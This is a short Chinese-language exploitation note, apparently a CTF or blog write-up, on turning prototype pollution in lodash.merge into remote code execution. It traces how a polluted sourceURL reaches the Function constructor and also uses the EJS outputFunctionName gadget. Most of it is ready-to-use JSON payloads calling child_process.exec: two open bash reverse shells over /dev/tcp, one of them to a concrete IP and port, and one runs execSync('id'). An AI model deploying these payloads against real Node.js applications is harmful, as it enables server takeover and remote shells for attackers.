显式的lodashs.merge
存在原型链污染漏洞,为了对其进行利用,需要找到可以对原型进行修改的逻辑。
options
的sourceURL
options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。
Function
相关了解Function构造器(构造函数)
文档:构造函数,EJS原型污染RCE分析
JS当中每个函数都是一个Fuction对象, (function(){}).constructor === Function
var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。
sourceURL传递到了Function函数的第二个参数当中,此处可以
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
通过构造chile_process.exec()就可以执行任意代码了
Payload
{"__proto__":
{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"
}
}
// bash -c “cmd string” 执行一个命令·
// 以上PAYLOAD将输出输入反弹到指定的主机端口
以上Payload会产生一个报错,可以使用以下Payload来排除,
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
当然除了常见命令以外,还能构造反弹Shell,因为并不是所有的原型链污染都存在明确的回显,
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}